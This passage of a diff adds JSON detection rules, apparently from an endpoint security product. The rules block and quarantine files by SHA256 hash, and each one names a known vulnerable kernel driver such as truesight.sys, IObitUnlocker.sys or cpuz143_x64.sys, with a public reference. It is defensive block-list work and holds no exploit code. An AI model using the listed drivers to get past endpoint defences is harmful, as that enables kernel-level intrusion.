+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab1d2a46a4ebb992992bdf59226829ac72cfcf81fc0a3c15791a397bc4737673",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dd76943a-1a27-5c00-957c-b61c1cab493e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476757Z",
+  "creation_date": "2026-03-23T11:45:31.476761Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476771Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2cd25da2ba833aa1a88d73135650434c2a6d684cf2db1261fce38aaabf54046e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dd772af7-970b-55b5-bf86-30b5b908b8e9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980820Z",
+  "creation_date": "2026-03-23T11:45:29.980822Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980827Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e0aff24a54400fe9f86564b8ce9f874e7ff51e96085ff950baff05844cff2bd1",
+  "comment": "Vulnerable Kernel Driver (aka IObitUnlocker.sys) [https://www.loldrivers.io/drivers/4bf4b425-10af-4cd4-88e6-beb4b947eb48/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dd799e87-5bc1-54bf-a6b8-e1ccf67afdc5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490489Z",
+  "creation_date": "2026-03-23T11:45:31.490490Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490496Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7a3ea5b9a39bf55f900964a55dadae7e34fd9476d8346a4fa701f11760aefd6f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dd7b8f69-b439-5094-bd7c-7dc49f6343d8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455639Z",
+  "creation_date": "2026-03-23T11:45:30.455642Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455652Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4e54e98df13110aac41f3207e400cce2a00df29ce18c32186e536c1de25a75ce",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dd7fc026-6aa9-5b52-adca-d9f5f0d4242c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605752Z",
+  "creation_date": "2026-03-23T11:45:29.605754Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605760Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "89b9823ed974a5b71de8468324d45b7e9d6dc914f93615ba86c6209b25b3cbf7",
+  "comment": "Process Explorer driver (aka PROCEXP.SYS and PROCEXP152.SYS) [https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dd90d569-38de-57d8-b3f2-e1df84087617",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.816246Z",
+  "creation_date": "2026-03-23T11:45:30.816248Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.816253Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "42b31b850894bf917372ff50fbe1aff3990331e8bd03840d75e29dcc1026c180",
+  "comment": "Vulnerable Kernel Driver (aka ngiodriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dd9a9d8d-a442-558e-9616-b46094dc691a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157371Z",
+  "creation_date": "2026-03-23T11:45:31.157373Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157379Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d6e25ba22219c44a53b18b1aeb82c6e4299efe61128763211c0c5e392bcd1a6f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ddacb281-a386-573a-ba6a-a98227ab8a93",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811026Z",
+  "creation_date": "2026-03-23T11:45:31.811028Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811034Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "10dd106c43f4762a9ea463b7316640bf1c76fd77b682e4a79299ef1a9ddc0220",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ddae2fce-6488-56bd-9165-0eb0df7c3054",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.610371Z",
+  "creation_date": "2026-03-23T11:45:29.610373Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.610378Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3e07bb866d329a2f9aaa4802bad04fdac9163de9bf9cfa1d035f5ca610b4b9bf",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ddc24181-ea17-51d2-9953-52dc2214cd67",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149300Z",
+  "creation_date": "2026-03-23T11:45:31.149302Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149308Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e5eb94cd2ed5bda08d9ca17115dbf51fe65b96a96b35ee4686a04b8cf95d39e0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ddc906fa-63a2-5084-96a1-125979533406",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811833Z",
+  "creation_date": "2026-03-23T11:45:31.811835Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811840Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c432e1dfcb412fd0b3683bcfe4a9f7b49465287203d1deb2b8789b6ead00c725",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ddca0933-796e-5b4e-bf30-49cc688ec497",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.604410Z",
+  "creation_date": "2026-03-23T11:45:29.604412Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604418Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0cf72a6d8c4add613209a1af41c6b09013fa688c9841210b5ff1d2908d99bf00",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ddccab46-a61f-5e74-89f6-850e825c2668",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143540Z",
+  "creation_date": "2026-03-23T11:45:32.143542Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143548Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9dee9c925f7ea84f56d4a2ad4cf9a88c4dac27380887bf9ac73e7c8108066504",
+  "comment": "Vulnerable Kernel Driver (aka DcProtect.sys) [https://www.loldrivers.io/drivers/7cee2ce8-7881-4a9a-bb18-61587c95f4a2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ddd10f07-09a7-5ac9-b1cb-3a0689569074",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968403Z",
+  "creation_date": "2026-03-23T11:45:29.968405Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968410Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4e3eb5b9bce2fd9f6878ae36288211f0997f6149aa8c290ed91228ba4cdfae80",
+  "comment": "Ours Technology Inc. Dangerous I/O Driver (aka otipcibus64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "dddb3d19-bd67-5e95-9c2e-a7033aef5d4e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150985Z",
+  "creation_date": "2026-03-23T11:45:31.150987Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150992Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b8b9625620939b828ff2a5ba06f1bbba20514a04facdf5195f77451ccaa12338",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ddf1f45d-3842-5afb-9b5f-1b1896485f83",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500655Z",
+  "creation_date": "2026-03-23T11:45:31.500659Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500667Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "10b5c744cec261edf6fa5374662da30f95bd823f80797c4f018f5dfeb11faf8e",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ddffc375-ccdc-5e38-b8fd-9898b1037f35",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144288Z",
+  "creation_date": "2026-03-23T11:45:31.144290Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144295Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "41acac502ce4dc72091cf9a60425db333af0502eade520e532a4f8591fb6b5fc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "de0553e0-2340-5758-8b2b-1b81148d6499",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144215Z",
+  "creation_date": "2026-03-23T11:45:31.144219Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144225Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "72cb472d69def47fd89564c3f895867006908443f805971875533069a6efaf32",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "de0943eb-deaf-5942-b021-772bedd0498b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829044Z",
+  "creation_date": "2026-03-23T11:45:30.829046Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829051Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c74de5c5805e87c2c2b2aec77e3416c4ddd175514950a45a7276b0972241b426",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "de1681e7-21e2-5ab4-824b-ea93afa2e38d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.471864Z",
+  "creation_date": "2026-03-23T11:45:31.471868Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.471907Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4644ddf941ea48f122487f2a434bb4f88984b49c540f52d5f9e775b2371e2a17",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "de265821-4b09-5cb3-bf26-0e6ba5f443a0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143504Z",
+  "creation_date": "2026-03-23T11:45:32.143506Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143511Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b2247e68386c1bdfd48687105c3728ebbad672daffa91b57845b4e49693ffd71",
+  "comment": "Vulnerable Kernel Driver (aka DcProtect.sys) [https://www.loldrivers.io/drivers/7cee2ce8-7881-4a9a-bb18-61587c95f4a2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "de281c7d-d469-54f6-b88c-d14760339c79",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494968Z",
+  "creation_date": "2026-03-23T11:45:31.494970Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494975Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "58ab20e947ed3f42da8f9e9d0efeb2045ebe880207e20612139bd8cd777d579b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
